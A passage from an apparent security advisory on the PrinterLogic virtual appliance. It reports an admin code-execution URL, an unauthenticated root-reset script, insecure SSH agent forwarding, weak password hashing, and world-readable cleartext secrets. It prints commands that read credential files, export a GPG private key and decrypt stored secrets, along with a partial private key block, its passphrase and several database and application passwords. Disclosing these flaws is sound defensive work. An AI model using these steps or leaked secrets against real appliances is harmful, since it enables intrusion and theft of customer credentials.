Exploitation is possible using `/var/www/app/admin/index.php`. The variables 
stored in `$_SESSION` will be used to set the variables 
`$printer_vo->str_title`, `$printer_vo->str_host_address`, 
`$printer_vo->str_comment` and `$search_folder` in 
`/var/www/app/admin/design/addip.php`.

Content of `/var/www/app/admin/index.php`:

[code:php]
  1 <?php
[...]
 49 if((requestint('adddirectip',0)==1)||
 50   (requestint('updatedirectip',0)==1))
 51 {
 52         @session_start();
 53         $_SESSION['preserve']['addip']=(requestint('adddirectip',0)==1)?1:2;
 54         $_SESSION['preserve']['folder']=requeststr('folder');
 55         $_SESSION['preserve']['printername']=requeststr('printername');
 56         $_SESSION['preserve']['hostaddress']=requeststr('hostaddress');
 57         $_SESSION['preserve']['location']=requeststr('location');
 58         $_SESSION['preserve']['comment']=requeststr('comment');
 59         $_SESSION['preserve']['iscolor']=requeststr('iscolor');
 60         $_SESSION['preserve']['new_folder']=requeststr('new_folder');
 61         
$_SESSION['preserve']['new_printername']=requeststr('new_printername');
 62 
 63         @session_write_close();
 64         header('location: '.remove_relative(ABSURL."admin/"));
 65         return;
 66 }
[/code]

A possible url is: 
`http://10.105.0.241/admin/index.php?updatedirectip=1&folder=NOP&printername=TEST&hostaddress=POC&location=Location&comment=Comment&iscolor=Color&new_folder=new_fold&new_printername=New_name`.

I found other calls to `eval()` but their exploitations are not trivial and 
will require more time to analyse the execution flow.

An attacker with admin privileges can execute code on the solution.



## Details - Dangerous PHP dead code

It was observed that some PHP dead codes exist in the solution.

For example, `/web/www/app/resetroot.php` inside several Docker instances - 
including Docker instances executing PHP code - is a PHP script that doesn't 
check authentication and that will change the password of the mysql root user 
to `password`.

On lines 6 to 10, it appears the verification of the IP has been commented.

On lines 15 and 16, the password is redefined to `password` 
(`sha512("password") = 
"b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86"`).

Content of `/var/www/app/resetroot.php`:

[code:php]
  1 <html>
  2 <head>
  3 </head>
  4 <body>
  5 <?php
  6 /*if(strpos('127.0.0.1',$_SERVER['HTTP_HOST'])===false) {
  7   echo "This page can only be executed from a browser running on the web 
server, using http://127.0.0.1/";;
  8 //  echo $_SERVER['HTTP_HOST'];
  9   die();
 10 }*/
 11 require_once("global.php");
 12 require_once(ABSPATH."lib/dao/dbopen.php");
 13 $dao=new data_access();
 14 $dao->allow_write();
 15 if($dao->qry("UPDATE `ppp_users` SET `username` = 'root',
 16 my_password = 
'b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86'
 WHERE `ppp_users`.`user_type`=1")) {
 17   echo "The root account has been reset to <br /><br />username: 
<b>root</b> <br />password: <b>password</b>";
 18 } else {
 19   echo "Unable to reset root account: ".$dao->last_error;
 20 }
 21
 22 ?>
 23 </body>
 24 </html>
[/code]

`/var/www/app/lib/common/oses.php` is also very interesting:

Content of `/var/www/app/lib/common/oses.php`:

[code:php]
  1 <?php
[...]
  3   //since we are suffering the overhead of sessions, we may as well used 
them to cache
  4   //constantly needed data, like the os list
  5   //this also gives a handy way of limiting the visible OSes for the logged 
in user which
  6   //at some point will be different than the available oses
  7  /* if(isset($_SESSION['osdata'])) {
  8     @self::$oses_max=intval($_SESSION['osesmax']);
  9     @self::$oses=unserialize($_SESSION['osdata']); // [1] <-- !
 10   }*/ //removed 4/1/2013 from all versions.  It causes too many problems 
when it does change.  and isn't really that much benefit
 11
[/code]

This code will unserialize `$_SESSION["osdata"]` on line 9, resulting in a 
Remote Code Execution - fortunately, this code has been commented by the vendor.

An attacker that achieves to execute this PHP code will reset the mysql root 
password to `password`.



## Details - Insecure SSH configuration

When analyzing the `20.0.1305.gpg` update file, it appears some shell scripts 
inside docker instances will run SSH with insecure options.

Forwarding SSH-Agent without checking the SSH key of the SSH server will allow 
an attacker to do lateral movements using the private SSH key of the developers:

Content of 
`./out-images/47a0cd7c12483185df274392eff25d238b60ba7589e5081bd8debef0ef9da9ef/opt/bin/stack-cmd.sh`:

[code:shell]
 89 # Now run command
 90 for i in "${IPS[@]}"
 91 do
 92     # Skip blank or "not found"
 93     if [ -z "${i}" ] || [[ ${i} == *"Unable to find"* ]]; then
 94         continue
 95     fi
 96     echo -e "\n...Running on ${i}..."
 97
 98     # if CMD is a script then substitute any env vars locally and execute 
remotely
 99     if [ -f "${CMD}" ]; then
100         color eval "ssh -o UserKnownHostsFile=/dev/null -o 
StrictHostKeyChecking=no -o LogLevel=error $i 'bash /dev/stdin' < <(cat 
"${CMD}" | envsubst)${ASYNC}" || exit 1
101     else
102         # else just execute CMD string on remote host
103         color eval "ssh -o UserKnownHostsFile=/dev/null -o 
StrictHostKeyChecking=no -o LogLevel=error -n $i 'bash -l -c 
\"${CMD}\"'${ASYNC}" || exit 1
104     fi
105 done;
[/code]

Content of 
`./out-images/47a0cd7c12483185df274392eff25d238b60ba7589e5081bd8debef0ef9da9ef/opt/includes/ssh.config.developers`:

    kali% cat 
./out-images/47a0cd7c12483185df274392eff25d238b60ba7589e5081bd8debef0ef9da9ef/opt/includes/ssh.config.developers
    Host 10.*.*.*
        ForwardAgent yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null
    Host *.compute.internal
        ForwardAgent yes
        StrictHostKeyChecking no
        UserKnownHostsFile /dev/null
    kali%

These insecure options appear to be present in several Docker instances:        

    kali% pwd
    
/home/user/printerlogic/updates/out/out-images/4ecc6d1307c1c74ddccbdc983b2fe024742ec0531265255b5730dcb5afc0fa52
    kalim% rgrep -i strict .
    [...]
    ./opt/includes/ssh.config.developers:    StrictHostKeyChecking no
    ./opt/includes/ssh.config.developers:    StrictHostKeyChecking no
    [...]
    ./opt/bin/stack-cmd.sh:        color eval "ssh -o 
UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=error $i 
'bash /dev/stdin' < <(cat "${CMD}" | envsubst)${ASYNC}" || exit 1
    ./opt/bin/stack-cmd.sh:        color eval "ssh -o 
UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -o LogLevel=error -n 
$i 'bash -l -c \"${CMD}\"'${ASYNC}" || exit 1

A developer that will ssh into a compromised solution will get his ssh-agent 
compromised, allowing an attacker to do lateral movements.

The script will blindly reach SSH servers, without checking their identities.



## Details - Incorrect encryption algorithms used to store passwords

It was observed that the passwords are encrypted using SHA-512 with a fall-back 
to SHA-1 (in `update_database.php` and `Login.php`):

Content of `/var/www/app/admin/query/server_write_requests_users.php`:

[code:php]
  1 <?php
[...]
198         if (strlen(trim($password)) != 0) {
199             $securepass = hash('sha512', $password); // [1] use of SHA-512
200             $user_vo->str_my_password = $securepass;
201         }
202
[/code]

Content of `/var/www/app/admin/query/update_database.php`:

[code:php]
  1 <?php
[...]
 74 $sha512Password = hash('sha512', "password");         // [1] use of SHA-512
 75 $sha1Password = hash('sha1', "password");             // [2] use of SHA-1
[...]
 86     // Check to make sure the root user has the initial email/password, so 
that this cant be used to change any users email/password
 87     if ($user_vo->str_email_address == "admin" &&
 88         ($user_vo->str_my_password == $sha512Password || // [3] use of 
SHA-512
 89         $user_vo->str_my_password == $sha1Password)) { //   [4] fall-back 
to SHA-1
[...]
 98             $user_vo->str_my_password = hash('sha512', $root_password); // 
[5] use of SHA-521
[/code]

Content of `/var/www/app/legacy/Login.php`:

[code:php]
  1 <?php
[...]
 426         $tempPass = hash('sha512', $pw); [1] use of SHA-512
[...]
 440             /**
 441              * When we switched to sha512, we need to provided temporary 
checking for accounts
 442              * that haven't been switched yet.  Eventually, this code 
should be removed and any
 443              * remaining users who still have an sha1 hash will have to 
reset their password.  At that point,
 444              * however, most users should have already been converted.
 445              */
 446             if (!$sr) {
 447                 $sha1_pass = sha1($pw);                                    
      // [2] use of SHA-1
 448                 $sr = $user_dao->find_by_login($username, $sha1_pass, 
$user_vo); // [3] use of SHA-1
 449                 if ($sr) {
 450                     /*    Convert their password to sha512    */
 451                     $user_vo->str_my_password = $tempPass;                 
      // [3] migration to SHA-521
 452                     $user_dao->allow_write();
 453                     $user_dao->save($user_vo);
 454                 }//end if
 455             }//end if
[...]
1147         if (!$user_dao->find_by_login($username, $tempPass, $user_vo)) {
1148             /**
1149              * When we switched to sha512, we need to provided temporary 
checking for accounts
1150              * that haven't been switched yet.  Eventually, this code 
should be removed and any
1151              * remaining users who still have an sha1 hash will have to 
reset their password.  At that point,
1152              * however, most users should have already been converted.
1153              */
1154             $sha1_pass = sha1($pw);
1155             $sr = $user_dao->find_by_login($username, $sha1_pass, 
$user_vo);     // [4] use of SHA-1
1156             if ($sr) {
1157                 /*    Convert their password to sha512    */
1158                 $user_vo->str_my_password = $tempPass;                     
      // [5] migration to SHA-512
1159                 $user_dao->allow_write();
1160                 $user_dao->save($user_vo);
1161             } else {
1162                 $this->last_error = "The username or password is 
incorrect.";
1163                 return null;
1164             }
[/code]

Content of `/var/www/app/tests/Unit/Api/IdP/IdpControllerTest.php`:

[code:php]
  1 <?php
[...]
443         $hashString = "PrinterLogicIdpAuthentication{$mockDateTimeString}";
444         $hash = hash('sha512', $hashString);                                
      // [1] use of SHA-512
445 
446         //Act
447         $apiResponse = $this->json(
448             'GET',
449             "/api/idp",
450             [],
451             [
452                 'x-printerlogic-hash' => $hash,
453                 'x-printerlogic-datetime' => $mockDateTimeString
454             ]
455         );
[/code]

Interestingly, a custom implementation of PBKDF2-HMAC-SHA512 can be found 
inside `/var/www/app/legacy/Security/Crypt.php`, but the code is not used to 
store passwords. This implementation seems to have been copied from 
https://www.php.net/manual/en/function.hash-pbkdf2.php#118301 and doesn't seem 
to be compatible with the original PBKDF2-HMAC-SHA512 implementation. The 
execution flow is shown below:

Content of `/var/www/app/legacy/Security/Crypt.php`:

[code:php]
  1 <?php
[...]
269     protected function getKeys($salt, $key)
270     {
271         $ivSize = openssl_cipher_iv_length($this->cipher);
272         $keySize = 256;
273         $length = 2 * $keySize + $ivSize;
274 
275         $key = $this->pbkdf2('sha512', $key, $salt, $this->rounds, $length);
[...]
367     public function pbkdf2($algo, $key, $salt, $rounds, $length)
368     {
369         return self::cachedPbkdf2($algo, $key, $salt, $rounds, $length);
370     }
[...]
340      */
341     public static function cachedPbkdf2($algo, $key, $salt, $rounds, 
$length)
342     {
343         $bucket = $algo . "." . $rounds . "." . $length;
344         if (!isset(self::$pbkdf2Cache[$bucket][$key][$salt])) {
345             $hash = self::PrinterLogicHashPbkdf2($algo, $key, $salt, 
$rounds, $length);
[...]
288     /**
289      * Identical to built in function hash_pbkdf2 ... except it isn't.  
This produces different results.
290      * Despite being much slower, its what is already in the wild, changing 
it now would be difficult.
291      *
292      * @param $algorithm
293      * @param $key
294      * @param $salt
295      * @param $rounds
296      * @param $length
297      * @return bool|string
298      */
299     private static function PrinterLogicHashPbkdf2($algorithm, $key, $salt, 
$rounds, $length)
300     {
301         $size = strlen(hash($algorithm, '', true));
302         $len = ceil($length / $size);
303         $result = '';
304         for ($i = 1; $i <= $len; $i++) {
305             $tmp = hash_hmac($algorithm, $salt . pack('N', $i), $key, true);
306             $res = $tmp;
307             for ($j = 1; $j < $rounds; $j++) {
308                 $tmp = hash_hmac($algorithm, $tmp, $key, true);
309                 $res ^= $tmp;
310             }
311             $result .= $res;
312         }
313         return substr($result, 0, $length);
314     }
[/code]

This code is very similar to the example shown on PHP.net: 
 
[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

https://www.php.net/manual/en/function.hash-pbkdf2.php#118301

SHA-1 and SHA-512 are used to compute a cryptographic summary (checking the 
integrity of a file or making an electronic signature). They are not suitable 
for storing passwords because they are fast to calculate.

Storing passwords in SHA-512 does not follow best security practices. There is 
no salt and the hashes are easily bruteforcable or found using rainbow tables.

Fall-back to SHA-1 absolutely does not follow best security practices. There is 
no salt and the hashes are easily bruteforcable or found using rainbow tables.



## Details - GPG Private key stored in the solution

It was observed the firmware update images were encrypted but not signed.

The Docker images contain the public and private keys for 
`no-reply+virtual-appliance@xxxxxxxxxxxxxxxx`.

Extraction of the GPG private key:

    root@printerlogic:~# cp -r 
/var/lib/docker/overlay2/./995aff33d0f19af66d462b38164604709d2164b47b057411a1fcac3ef0118197/diff/home/ubuntu/.gnupg/
 ~/
    root@printerlogic:~# grep GPG 
/var/lib/docker/image/overlay2/imagedb/content/sha256/*
    [...]
    APPLIANCE_GPG_PASSPHRASE=50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4
    [...]
    root@printerlogic:~# gpg --list-keys --with-keygrip
    /root/.gnupg/pubring.kbx
    ------------------------
    pub   rsa4096 2020-01-23 [SC]
          CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
          Keygrip = 5FA855131102B4D03D9D21F1D081CB1DBA100953
    uid           [ultimate] PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>
    sub   rsa4096 2020-01-23 [E]
          Keygrip = 45066ADCF538743121004158DD3BA4C62EA82177
    sub   rsa4096 2020-01-23 [S]
          Keygrip = DD8FA6CE5BAA3DF02E406A0ECF9F798F43E146F9
    
    root@printerlogic:~# gpg --list-secret-keys
    /root/.gnupg/pubring.kbx
    ------------------------
    sec#  rsa4096 2020-01-23 [SC] 
          CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
    uid           [ultimate] PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>
    ssb   rsa4096 2020-01-23 [E]
    ssb#  rsa4096 2020-01-23 [S]
    
    root@printerlogic:~# gpg --export-secret-keys -a > out.key
    [50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4]
    root@printerlogic:~# less out.key 
    -----BEGIN PGP PRIVATE KEY BLOCK-----
    
    lQIVBF4qHKgBEAC3T56eTrfTkPZrLwKUla4FSbdd2QTQU5XsXT6gCc6TpadMF1XY
    2GfZaUcQ5G0DOWRQpy9rxBh+ZiffqbDFKyHLmSG4RrYpeR0jttUdVEdQ99II0kfB
    41bo59iJkYM6EGAm2htBrstUnOwyFMn1DH8PBs/Pp+N8kaOCa+BgjKyxvQvXHXSz
    b9dt6TLPRnloO4hJXJI1htHMFdBTpzJKY8gKnug/XO7Vkq5j3mCcGM/5K4fzKYoE
    fFmQO9sjnzG6hnon+9tUsexmnCosk5a+HzpGthrx3/MIFHMe02ZL7VGuxOUyL618
    wEa4CbnxMwsW14FzOjPubaMsgsQhuH3X2yiVgJw2i0c1IUmFiEdeTZ29tDlhsUmM
    pNqGgvp41t41PD6EoA4KhdyGh0GTtzz97QoY1HTpbTF3vPChRgWFMDnw+1jXd3Q7
    m6Zgkn2iVFVb+bUT5VZAnT7okJHP8ZKtqm97YxliUft1JQvISaVaoL0VOyB6P83T
    1CeVTtMLsZRgooKIyOTyxPzRZxqmYhGMOam7KY/syKZRw5zIcBGGpuZ6xQRSKYRG
    hZhDFZFmvO7EkQoPJaYsX6IY3oOwZ1GTq1mWQ062FzmPA4gWffOUGGdbrZuJSPg5
    1OsFVcXeg8KGqJOAQBVG4gQ7mbjv2F5Srll6S9k7X8i0XXFoBMLZ9bt9pwARAQAB
    /wBlAEdOVQG0UVByaW50ZXJMb2dpYyBWaXJ0dWFsIEFwcGxpYW5jZSBUZWFtIDxu
    by1yZXBseSt2aXJ0dWFsLWFwcGxpYW5jZUBwcmludGVybG9naWMuY29tPokCTgQT
    AQgAOAIbAwIeAQIXgBYhBMraCwbYraWnLFL1+wm9njZ9oQmYBQJeKh7OBQsJCAcD
    [...]

The passphrase for the private key is also hardcoded and can be found in files 
present in the directory 
`/var/lib/docker/image/overlay2/imagedb/content/sha256`.

After the extraction of the key is done, the private key is under attacker's 
control. This key has been installed in another Linux machine under attacker's 
control and can generate legit malicious update images:

    kali% gpg --list-secret-keys
    /home/user/.gnupg/pubring.kbx
    -----------------------------
    sec#  rsa4096 2020-01-23 [SC]
          CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
    uid           [ unknown] PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>
    ssb   rsa4096 2020-01-23 [E]
    ssb#  rsa4096 2020-01-23 [S]
    kali%

An attacker with admin privileges on the solution can upload custom encrypted 
updates.

Decrypting the firmware image using the private key, encrypting using the 
public key and decrypting this file using the private key:

    kali% gpg 20.0.1305.gpg
    gpg: WARNING: no command supplied.  Trying to guess what you mean ...
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    ^C
    gpg: signal Interrupt caught ... exiting
    
    kali% echo test | gpg --encrypt -a -r 
no-reply+virtual-appliance@xxxxxxxxxxxxxxxx -o test.gpg
    gpg: FCF4134A2496B21A: There is no assurance this key belongs to the named 
user
    
    sub  rsa4096/FCF4134A2496B21A 2020-01-23 PrinterLogic Virtual Appliance 
Team <no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>
     Primary key fingerprint: CADA 0B06 D8AD A5A7 2C52  F5FB 09BD 9E36 7DA1 0998
          Subkey fingerprint: 15CD B10F F97C 6F80 6B9D  979C FCF4 134A 2496 B21A
    
    It is NOT certain that the key belongs to the person named
    in the user ID.  If you *really* know what you are doing,
    you may answer the next question with yes.
    
    Use this key anyway? (y/N) y
    kali% gpg test.gpg 
    gpg: WARNING: no command supplied.  Trying to guess what you mean ...
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    kali% cat test
    test
    kali%

Furthermore, it was observed this private key was also used by the support:

Content of `/var/www/cicd-linux-ops/bin/va-rotate-secrets.sh`:

[code:shell]
#!/bin/bash -l

# Setup logging
LOG_TAG="va/rotate-secrets"
LOG_CAPTURE_ERRORS=true
. ${CICD_DIR}/includes/func_logging.sh

# Portainer rotation
# The portainer password is stored in plaintext in the location noted below.  
To rotate this password, we simply need to
# set a new password in this file, then save the gpg-encrypted version in our 
storage location.  We store an encrypted form 
# there to allow our advanced customer support to have access, only as a last 
resort.  Customers should NEVER be allowed
# to have access to portainer, even on a temporary basis.  Only a member of an 
advanced support team should be able to
# enable portainer (enabled via environment variable), decrypt the password 
found in persistent storage, then access portainer
log "Rotating Portainer password"
PORTAINER_PASSWORD_FILE=${PRINTERCLOUD_CONFIG_DIR}/portainer-admin-password.txt

# Generate a new portainer password and write it to the plaintext location
PLAINTEXT_PASSWORD=$(cat /proc/sys/kernel/random/uuid)
echo "${PLAINTEXT_PASSWORD}" >${PORTAINER_PASSWORD_FILE}

# Store the encrypted version
SECRETS_DIR=${APPLIANCE_STORAGE_TARGET}/.secrets
PORTAINER_PASSWORD_FILE_ENCRYPTED=${SECRETS_DIR}/portainer-admin.gpg

# Make sure file and dir exist first
mkdir -p ${SECRETS_DIR}
touch ${PORTAINER_PASSWORD_FILE_ENCRYPTED}
set-secret.sh -f ${PORTAINER_PASSWORD_FILE_ENCRYPTED} --encrypt 
PORTAINER_PASSWORD=${PLAINTEXT_PASSWORD}
log "Finished rotating Portainer password"

# Force a logout/shutdown if the UI is running
if [[ "${REPLICAS_PORTAINER_UI}" -ge 1 ]]; then 
  log "Forcing Portainer shutdown"
  set-secret.sh "REPLICAS_PORTAINER_UI=0"
fi
[/code]

GPG is used to encrypt the portainer password and the resulting file is located 
in `/var/www/efs_storage/.secrets/portainer-admin.gpg`. It can be decrypted 
using the private key as shown below.

To confirm the key is indeed common to all installed solutions, another test 
solution has been installed and I was able to decrypt the GPG files located in 
`/var/www/efs_storage/.secrets` - this confirms the private key can be used in 
all installed solutions:

    kali% scp -r root@10.105.0.242:/var/www/efs_storage/.secrets . 
    app-keys.gpg                                          100%  704     1.0MB/s 
  00:00    
    portainer-admin.gpg                                   100%  660     1.0MB/s 
  00:00    
    kali% cd .secrets
    kali% gpg app-keys.gpg 
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    kali% cat app-keys
    APP_KEY="WtlAAtpHpgRnFwdseoejTYNHaEobvKZ1"
    MYSQL_ROOT_PASSWORD="fbaf64cf-43fd-4572-a123-dccc97ae7f88"
    kali% gpg portainer-admin.gpg 
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    kali% cat portainer-admin     
    PORTAINER_PASSWORD="644e3db6-6058-4771-955f-cfb7fa693c7d"
    kali%

But the portainer password is also freely available by reading the 
world-readable file `/etc/printercloud/portainer-admin-password.txt`:

    root@printerlogic:/var/www/efs_storage/.secrets# ls -la 
/etc/printercloud/portainer-admin-password.txt
    -rw-r--r-- 1 ubuntu docker 37 Feb  9 08:48 
/etc/printercloud/portainer-admin-password.txt
    root@printerlogic:/var/www/efs_storage/.secrets# cat 
/etc/printercloud/portainer-admin-password.txt
    4784ceb0-1960-4ba7-997b-022907cdf14b
    root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg 
    gpg: WARNING: no command supplied.  Trying to guess what you mean ...
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    
    root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin
    PORTAINER_PASSWORD="4784ceb0-1960-4ba7-997b-022907cdf14b"
    root@printerlogic:/var/www/efs_storage/.secrets#

It is also possible to install a malicious firmware update. The firmware file 
will be stored inside `/var/www/efs_storage/.updates` and will be installed:

    root@printerlogic:/var/www/efs_storage/.updates# ls -latr
    total 4810592
    -rwxrwxr-x+  1 root     docker 4898676615 Jan 27 10:04 20.0.1305.gpg
    drwxrwsr-x+  2 ubuntu   docker       4096 Jan 27 10:18 .patches
    drwxrwsr-x+ 19 www-data docker       4096 Feb  2 08:15 ..
    -rwxrwxr-x+  1 root     docker      77476 Feb 11 05:13 untitled.gpg
    -rwxrwxr-x+  1 root     docker   27262976 Feb 11 05:56 malicious.update.gpg
    -rwxrwxr-x+  1 root     docker        128 Feb 11 06:00 malicious.update2.gpg
    drwxrwsr-x+  3 root     docker       4096 Feb 11 06:00 .
    root@printerlogic:/var/www/efs_storage/.updates#

An attacker with admin privileges on the solution can upload custom signed 
updates to compromise the application.

An attacker can decrypt any GPG-encrypted file located in 
`/var/www/efs_storage/.secrets` and retrieve the mysql root password, the 
`APP_KEY` password and the portainer password.



## Details - Passwords readable and stored in clear-text

The solution stores passwords in clear-text in some world-readable files:

- - /etc/printercloud/network.env
- - /etc/printercloud/appliance.env
- - /etc/printercloud/portainer-admin-password.txt
- - /etc/printercloud/previous-db-password.txt
- - /etc/printercloud/secrets.configuring.bak
- - /var/www/efs_storage/secrets.env
- - /var/www/efs_storage/.secrets/app-keys.gpg
- - /var/www/efs_storage/.secrets/portainer-admin.gpg
- - /var/www/efs_storage/logs/*/{pi,services}.log*
- - /var/lib/docker/swarm/worker/tasks.db
- - ...

The above provided list is not exhaustive.

`/etc/printercloud/network.env` with insecure permissions:

    root@printerlogic:~# ls -la /etc/printercloud/network.env
    -rw-rw-r-- 1 ubuntu docker 29 Feb  8 01:51 /etc/printercloud/network.env
    root@printerlogic:~# cat /etc/printercloud/network.env
    NETWORK_USR_PWD="kZEXhhyjIY"
    root@printerlogic:~#


`/etc/printercloud/appliance.env` with insecure permissions:

    root@printerlogic:~# ls -la /etc/printercloud/appliance.env
    -rwxrwxr-x 1 ubuntu docker 858 Jan 27 10:16 /etc/printercloud/appliance.env
    root@printerlogic:~# cat /etc/printercloud/appliance.env
    [...]
    # Anything below this line has been added via script/automation
    VA_VERSION="1.0.730"
    MS_AUTH_KEY="ccb33b57-7960-409c-9d15-b6c5b475c839"
    APPLIANCE_LOG_DIR="/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx"
    APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M"
    MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3"
    [...]
    root@printerlogic:~#

`/etc/printercloud/previous-db-password.txt` with insecure permissions:

    root@printerlogic:~# ls -la /etc/printercloud/previous-db-password.txt
    -rw-rw-r-- 1 ubuntu docker 44 Feb  8 01:51 
/etc/printercloud/previous-db-password.txt
    root@printerlogic:~# cat /etc/printercloud/previous-db-password.txt
    PREVIOUS_DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt"
    root@printerlogic:~#

`/etc/printercloud/secrets.configuring.bak` with insecure permissions:

    root@printerlogic:~# ls -la /etc/printercloud/secrets.configuring.bak
    -rwxr-xr-x 1 root root 3519 Jan 27 09:36 
/etc/printercloud/secrets.configuring.bak
    root@printerlogic:~# cat /etc/printercloud/secrets.configuring.bak
    DB_DATABASE="app_pi"
    DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt"
    DB_PORT="3306"
    DB_USERNAME="admin"
    PRINTERCLOUD_DOMAIN="10.105.0.241"
    SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z"

`/var/www/efs_storage/secrets.env` with insecure permissions:

    root@printerlogic:/var/www/efs_storage# ls -la 
/var/www/efs_storage/secrets.env
    -rwxrwsr-x+ 1 root docker 3519 Jan 27 09:36 /var/www/efs_storage/secrets.env
    root@printerlogic:/var/www/efs_storage# cat secrets.env
    DB_DATABASE="app_pi"
    DB_PASSWORD="BBlIL1X1ARvyrnA3FBpt"
    DB_PORT="3306"
    DB_USERNAME="admin"
    PRINTERCLOUD_DOMAIN="10.105.0.241"
    SAMBA_PASSWORD="4rd7AqdBvj7ZdGKrvQ9Z"

It is also possible to decrypt the gpg-encrypted files found in 
`/var/www/efs_storage/.secrets` using the private key that was extracted before:

    root@printerlogic:~# ls -la /var/www/efs_storage/.secrets/
    total 16
    drwxrwsr-x+  2 ubuntu   docker 4096 Feb  8 06:38 .
    drwxrwsr-x+ 19 www-data docker 4096 Feb  2 08:15 ..
    -rw-rw-r--+  1 ubuntu   docker  704 Jan 27 09:36 app-keys.gpg
    -rw-rw-r--+  1 ubuntu   docker  660 Feb  7 08:59 portainer-admin.gpg
    root@printerlogic:~# cd /var/www/efs_storage/.secrets
    root@printerlogic:/var/www/efs_storage/.secrets# gpg app-keys.gpg
    gpg: WARNING: no command supplied.  Trying to guess what you mean ...
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    root@printerlogic:/var/www/efs_storage/.secrets# cat app-keys
    APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M"
    MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3"
    root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg 
    gpg: WARNING: no command supplied.  Trying to guess what you mean ...
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin
    PORTAINER_PASSWORD="1bd01aeb-e29d-4de6-83ca-11e55858c6ae"
    root@printerlogic:/var/www/efs_storage/.secrets#

`/var/lib/docker/swarm/worker/tasks.db` with insecure permissions:

    root@printerlogic:/var/lib/docker/swarm/worker# ls -la 
/var/lib/docker/swarm/worker/tasks.db
    -rw-r--r-- 1 root root 2097152 Feb  9 03:37 
/var/lib/docker/swarm/worker/tasks.db
    root@printerlogic:/var/lib/docker/swarm/worker# strings 
/var/lib/docker/swarm/worker/tasks.db | grep -i pass
    
MYSQL_DATABASE=app_pi*#MYSQL_PASSWORD=BBlIL1X1ARvyrnA3FBpt*8MYSQL_ROOT_PASSWORD=0aa58a30-9f32-4731-a03c-3795fe49c0f3*
    9mysqladmin -uadmin --password='BBlIL1X1ARvyrnA3FBpt'
    [...]

The directory `/var/lib/docker/swarm` is `700` so the exposure of the 
`tasks.db` file is limited.    

An attacker with access to the main filesystem can compromise the solution.

An attacker with access to a Docker instance that mounts `/var/www/efs_storage` 
can compromise the solution.

The provided list is not exhaustive; it is advised to review the solution to 
find more files containing passwords in clear-text.



## Details - Hardcoded SSL certificate / Private keys

Some Docker instances contain a hardcoded private key for the SSL certificate 
of `pl-local.com`.

Docker instances containing `/etc/ssl/private/pl-local.com.key` and 
`/etc/ssl/certs/pl-local.com.pem`:

    root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo 
$(docker ps | grep $i); docker exec -it $i sha256sum 
/etc/ssl/private/pl-local.com.key /etc/ssl/certs/pl-local.com.pem;done
    b836228df432 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 
6 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-seeder.1.zbh6pg52gjaa9gn5xqtc7taj5
    e6932e54ceb0199a35ee037a96fe42003265f8859b3a5e45e505e9fe8b8c7eee  
/etc/ssl/private/pl-local.com.key
    b1eaaffdb17148ec11be1de2116ee63e61bfb49f3cbcd25ace3c253536a5642e  
/etc/ssl/certs/pl-local.com.pem
    05e23b975354 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 6 hours ago Up 
6 hours 80/tcp, 443/tcp, 9000-9001/tcp 
